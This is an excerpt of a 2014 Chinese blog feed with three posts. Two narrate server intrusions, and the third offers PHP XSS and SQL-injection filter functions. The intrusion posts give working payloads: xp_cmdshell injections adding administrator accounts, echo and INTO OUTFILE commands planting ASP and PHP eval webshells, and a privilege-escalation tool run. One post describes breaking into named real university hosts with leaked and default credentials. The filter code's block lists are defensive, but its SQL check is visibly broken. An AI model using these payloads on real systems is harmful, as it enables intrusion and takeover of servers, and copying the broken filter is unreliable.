&nbsp;其中aaa为用户名，bbb为密码。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　添加到管理员组：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?id=1234 ;exec master..xp_cmdshell &#8220;net &nbsp;localgroup administrators aaa/add &#8221;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　若想备份数据库，则采用：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?id=1234 ;exec backup database 数据库名 to disk =&#8217;C:\inetpub/wwwroot\save.db&#8217;，当然前提是知道<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>虚拟路径。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　当然当知道web虚拟路径的时候，可以通过制造一个unicode 漏洞来完成对计算机的控制。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px;">　　?id=1234;exec master..xp_cmdshell &#8220;copy c:\windows\system32\cmd.exe &nbsp;c:\inetpub\scripts\cmd.exe&#8221;</div><strong style="font-size: 11.818181991577148px; word-break: break-all;"><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; font-size: 11.818181991577148px; display: inline !important;">　　上面的主要是利用xp_cmdshell 方法来的，如果其中的方法不起作用，那就另当别论了。</div></strong>针对思路二：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　既然是通过上传一个文件，那么首先要做的工作就是找各种上传路径，在前台摸索了半天也没有找到一个可以上传的功能，而后使用后台上传功能，通过找各种后台，其中发现个admin这个后台，无奈，用户名和密码均无法通过验证，从数据库里面看，也没有相应的用户名和密码，所以这个后台基本上是个无效的后台，没办法，眼看着上传这条路就要失效了，此时我又使用了webcruiser 对整个网站扫描了下，发现该软件有cmd模式，而且能够执行成功，此时思路就来了，既然应用程序前后台均无法上传，何不在这里直接使用cmd命令来建立一个asp文件呢？当然前提是要知道web虚拟路径在哪里。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　一般情况下，web虚拟路径通常是这样的：C:\inetpub\wwwroot ;D:\inetpub\wwwroot &nbsp;;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　或者E:\inetpub\wwwroot 等 就这几个路径，而虚拟可以执行的目录一般是C:\inetpub\scripts ；D:\inetpub\scripts ; E:\inetpub\scripts</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　接下来，我在cmd命令下，直接执行一条命令：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　echo ^&lt;^%execute^(request^("eval"^)^)^%^&gt; &nbsp;c:\inetpub\wwwroot\cms\test123456.asp</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在这个目录下，生成了个一句话木马asp文件，然后再使用菜刀连接，ok，webshell拿到。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　得到webshell 不是最主要的，而且webshell 也没有什么太大的作用，因此就尝试使用webshell往相应目录传送我们的攻击文件，尝试了几个目录均没有发现可以执行的目录，在快要放弃的情况下，然后尝试了C:\recycle这个目录，发现可以上传可以执行的文件，下面就简单了。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　接下来的思路很简单，就是上传一个后面软件，执行系统权限添加操作。在做到过程中，还是遇到了不少困难，例如，开始上传的瑞士军刀，想通过反弹端口来执行我们添加用户的操作，发现无法成功。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在后来，通过一些0day的溢出漏洞来取得系统权限，在网上搜罗了一大堆的0day软件，均发现不可以利用，后来看到&#8220;巴西烤肉&#8221;这款软件，英文名Churraskito.exe，这款0day溢出软件是如此的强大，而且我下的这个还么有后门，直接执行Churraskito &#8220;C:\windows\system32\cmd.exe &#8221; &#8220;net user 111 111/add&#8221;成功添加用户，哈哈，当然如果你想加到管理员组，在使用Churraskito &#8220;C:\windows\system32\cmd.exe &#8221; &#8220;net localgroup administrators &nbsp;111 /add&#8221; 基本上就ok了，至此，一个简单的获取系统权限的渗透测试就算完成了。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　这里直接用webcruiser 中的cmd命令，直接执行添加用户操作就可以了，省去了后面的一系列操作。擦得，后来才想到的，唉。。。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">思路三：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　既然可以执行，未必非要xp_cmdshell ,我们可以通过尝试sa，这个操作，例如，先在数据库中建立一个用户，然后把该用户提升为sysadmin,之后在使用查询分析器连接，当然还是要使用xp_cmdshell 的存储过程。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　具体方法如下：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　首先建立数据库用户：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　?id=1234;exec master.dbo.sp_addlogin user;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　当然也可以为这个用户赋予密码，其实无所谓，如果赋予密码的话，这样操作：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　?id=1234;exec master.dbo.password null ,password ,user;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　这里的null就是旧密码，password 为新密码。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　然后将该用户提升权限：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　?id=1234;exec master.dbo.sp_addsrvrolemember user,sysadmin;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　提升成功后，就可以通过查询分析器连接，连接成功后，直接查看xp_cmdshell是否能用；如果能用，则直接提升权限操作，；例如：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Xp_cmdshell &#8216;net user&#8217;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Xp_cmdshell &#8216;net user test123 test123 /add&#8217;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Xp_cmdshell &#8216;net localgroup administrators test123/add &#8217;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Xp_cmdshell &#8216;net user test123 /del&#8217;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　等。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　开启telnet服务：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Xp_cmdshell &#8216;net start tlntsvr&#8217;</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　总结：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　在这期间，我知道了webshell 和shell 不是一回事，也知道了xp_cmdshell是可以获取系统权限的，也知道了 有些工具是可以执行cmd命令的，当然我也初步了解下瑞士军刀 巴西烤肉等一系列攻击工具的用法，当然也了解到一些系统是可以被0day的。虽然这次渗透还有很多没有了解的地方，虽然只是大致的了解下，但是，对以后这方面，应该有个很好的思路以及借鉴。安全这块，任重而道远，以此勉励自己。<br /></div><img src ="http://www.blogjava.net/qileilove/aggbug/414146.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-05-27 10:06 <a href="http://www.blogjava.net/qileilove/archive/2014/05/27/414146.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>渗透测试笔记</title><link>http://www.blogjava.net/qileilove/archive/2014/04/24/412859.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 24 Apr 2014 02:21:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/04/24/412859.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/412859.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/04/24/412859.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/412859.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/412859.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">今天朋友在入侵织梦的网站系统，通过最新的Exp获得了织梦后台的账号和密码</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　账号：admin</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　密码：abc123456</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　但是，找来找去找不到后台，就让我提权试试。</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　我看了下：http://pxc.ncist.edu.cn/dede/</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　后台被删除了！怎么办？？</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　google hack也没找到后台</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　后来，我试了试这个网站：http://zsjy.ncist.edu.cn/phpmyadmin</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　输入默认MySql账号与密码：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　账号：root</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　密码：root</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　居然进去了：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=45491" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/04/14982672_201404211715061W4T1.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　接下来就是phpmyadmin提权了：</strong></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　我的思路是：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　1.先爆出php服务器www的路径</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　2.然后通过将php一句话插入<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>再导出到www路径</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　通过google hack爆到路径：D\www\</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　呵呵，接下来就执行sql语句：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">CREATE TABLE `mysql`.`xss` (`xss1` TEXT NOT NULL );</div><div style="word-break: break-all; margin: 10px 0px;">INSERT INTO `mysql`.`xss` (`xss1` ) VALUES ('&lt;?php @eval($_POST[milantgh])?&gt;');</div><div style="word-break: break-all; margin: 10px 0px;">SELECT xss1 FROM `mysql`.`xss` INTO OUTFILE 'd:/www/x.php';</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　这段sql意思是：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　1.在mysql数据库中建一张表叫xss，在xss表中生成一个field(字段)叫xss1</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　2.将php一句话木马插入数据库中的xss1字段处</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　3.将数据库中xss1字段的内容导出到d:\www\x.php文件中</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　这下，通过chopper连接x.php小马得到<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>：</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=45492" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/04/14982672_201404211715141py4r.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /><br /><br /><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;">　接下来，上传一个php大马spider.php</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;">　　通过FF连接spider.php:</div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=45493" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/04/14982672_201404211715142gEtw.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-size: 11.818181991577148px;">　　成功获得webshell！！！</div></a></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.60000228881836px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff; height: 21px; position: relative; width: 627.1875px;"></div><img src ="http://www.blogjava.net/qileilove/aggbug/412859.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-04-24 10:21 <a href="http://www.blogjava.net/qileilove/archive/2014/04/24/412859.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>过滤XSS攻击和SQL注入函数</title><link>http://www.blogjava.net/qileilove/archive/2014/04/09/412130.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 09 Apr 2014 02:43:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/04/09/412130.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/412130.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/04/09/412130.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/412130.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/412130.html</trackback:ping><description><![CDATA[<table align="center" style="word-break: break-all; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* The goal of this function is to be a generic function that can be used to parse almost any input and &nbsp; &nbsp; * render it XSS safe. For more information on actual XSS attacks, check out http://ha.ckers.org/xss.html. * Another excellent site is the XSS Database which details each attack and how it works.</div><div style="word-break: break-all; margin: 10px 0px;">* XSS过滤</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @param mixed $value 变量</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @return mixed 过滤后的字符串</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">function RemoveXSS($val) {</div><div style="word-break: break-all; margin: 10px 0px;">// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed</div><div style="word-break: break-all; margin: 10px 0px;">// this prevents some character re-spacing such as &lt;java\0script&gt;</div><div style="word-break: break-all; margin: 10px 0px;">// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// inputs</div><div style="word-break: break-all; margin: 10px 0px;">$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);</div><div style="word-break: break-all; margin: 10px 0px;">// straight replacements, the user should never need these since they're normal characters</div><div style="word-break: break-all; margin: 10px 0px;">// this prevents like &lt;IMG SRC=@avascript:alert('XSS')&gt;</div><div style="word-break: break-all; margin: 10px 0px;">$search = 'abcdefghijklmnopqrstuvwxyz';</div><div style="word-break: break-all; margin: 10px 0px;">$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';</div><div style="word-break: break-all; margin: 10px 0px;">$search .= '1234567890!@#$%^&amp;*()';</div><div style="word-break: break-all; margin: 10px 0px;">$search .= '~`";:?+/={}[]-_|\'\\';</div><div style="word-break: break-all; margin: 10px 0px;">for ($i = 0; $i &lt; strlen($search); $i++) {</div><div style="word-break: break-all; margin: 10px 0px;">// ;? matches the ;, which is optional</div><div style="word-break: break-all; margin: 10px 0px;">// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars</div><div style="word-break: break-all; margin: 10px 0px;">// @ @ search for the hex values</div><div style="word-break: break-all; margin: 10px 0px;">$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ;</div><div style="word-break: break-all; margin: 10px 0px;">// @ @ 0{0,7} matches '0' zero to seven times</div><div style="word-break: break-all; margin: 10px 0px;">$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">// now the only remaining whitespace attacks are \t, \n, and \r</div><div style="word-break: break-all; margin: 10px 0px;">$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');</div><div style="word-break: break-all; margin: 10px 0px;">$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');</div><div style="word-break: break-all; margin: 10px 0px;">$ra = array_merge($ra1, $ra2);</div><div style="word-break: break-all; margin: 10px 0px;">$found = true; // keep replacing as long as the previous round replaced something</div><div style="word-break: break-all; margin: 10px 0px;">while ($found == true) {</div><div style="word-break: break-all; margin: 10px 0px;">$val_before = $val;</div><div style="word-break: break-all; margin: 10px 0px;">for ($i = 0; $i &lt; sizeof($ra); $i++) {</div><div style="word-break: break-all; margin: 10px 0px;">$pattern = '/';</div><div style="word-break: break-all; margin: 10px 0px;">for ($j = 0; $j &lt; strlen($ra[$i]); $j++) {</div><div style="word-break: break-all; margin: 10px 0px;">if ($j &gt; 0) {</div><div style="word-break: break-all; margin: 10px 0px;">$pattern .= '(';</div><div style="word-break: break-all; margin: 10px 0px;">$pattern .= '(&#[xX]0{0,8}([9ab]);)';</div><div style="word-break: break-all; margin: 10px 0px;">$pattern .= '|';</div><div style="word-break: break-all; margin: 10px 0px;">$pattern .= '|(&#0{0,8}([9|10|13]);)';</div><div style="word-break: break-all; margin: 10px 0px;">$pattern .= ')*';</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">$pattern .= $ra[$i][$j];</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">$pattern .= '/i';</div><div style="word-break: break-all; margin: 10px 0px;">$replacement = substr($ra[$i], 0, 2).'&lt;x&gt;'.substr($ra[$i], 2); // add in &lt;&gt; to nerf the tag</div><div style="word-break: break-all; margin: 10px 0px;">$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags</div><div style="word-break: break-all; margin: 10px 0px;">if ($val_before == $val) {</div><div style="word-break: break-all; margin: 10px 0px;">// no replacements were made, so exit the loop</div><div style="word-break: break-all; margin: 10px 0px;">$found = false;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">return $val;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 函数名称：inject_check()</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* 函数作用：检测提交的值是不是含有<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注射的字符，防止注射，保护服务器安全</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @param mixed $sql_str: 提交的变量</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">* @return mixed 返回检测结果，ture or false</div><div style="word-break: break-all; margin: 10px 0px;">+----------------------------------------------------------</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">function inject_check($sql_str) {</div><div style="word-break: break-all; margin: 10px 0px;">return $sql_str = preg_replace('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile','', $sql_str); &nbsp; &nbsp;// 进行过滤</div><div style="word-break: break-all; margin: 10px 0px;"></div></td></tr></tbody></table><table align="center" style="word-break: break-all; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: 